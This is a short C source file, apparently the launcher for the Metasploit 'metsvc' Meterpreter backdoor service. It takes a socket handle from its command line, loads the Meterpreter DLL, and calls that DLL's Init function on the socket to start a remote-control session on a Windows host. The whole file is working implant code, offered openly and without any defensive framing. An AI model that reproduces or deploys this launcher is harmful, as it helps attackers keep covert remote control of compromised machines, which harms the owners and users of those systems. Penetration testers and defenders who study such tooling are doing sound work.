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/* Copyright (c) 2007, Determina Inc.
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 * All rights reserved.
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 *
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 * Redistribution and use in source and binary forms, with or without
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 * modification, are permitted provided that the following conditions
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 * are met:
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 *
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 * 1. Redistributions of source code must retain the above copyright
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 *    notice, this list of conditions and the following disclaimer.
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 * 2. Redistributions in binary form must reproduce the above copyright
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 *    notice, this list of conditions and the following disclaimer in the
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 *    documentation and/or other materials provided with the distribution.
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 * 3. Neither the name of Determina Inc. nor the names of its contributors
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 *    may be used to endorse or promote products derived from this software
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 *    without specific prior written permission.
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 *
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 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
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 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
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 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
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 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
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 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
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 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
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 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
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 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
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 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
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 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
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 * POSSIBILITY OF SUCH DAMAGE.
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 */
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#include <windows.h>
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#include "metsvc.h"
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typedef DWORD (*init_fn)(SOCKET fd);
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int main(int argc, char **argv)
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{
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	HMODULE lib;
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    init_fn init;
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    WSADATA wsa_data;
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	SOCKET sock = INVALID_SOCKET;
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    // The socket is passed as the first argument on the command line
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    if (argc != 2)
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        goto cleanup;
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    sock = atoi(argv[1]);
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    // Initialize Winsock 
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    if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0)
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        goto cleanup;
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    // Load the Meterpreter DLL and get the address of the Init function
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    if ((lib = LoadLibrary(METSRV_DLL)) == NULL)
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        goto cleanup;
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    if ((init = (init_fn)GetProcAddress(lib, "Init")) == NULL)
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        goto cleanup;
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    // Start the Meterpreter
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    __try {
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        init(sock);
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    } __except(EXCEPTION_EXECUTE_HANDLER) {
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        closesocket(sock);
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        return 0;
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    }
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cleanup:
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    if (sock != INVALID_SOCKET)
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        closesocket(sock);
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	return 0;
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}
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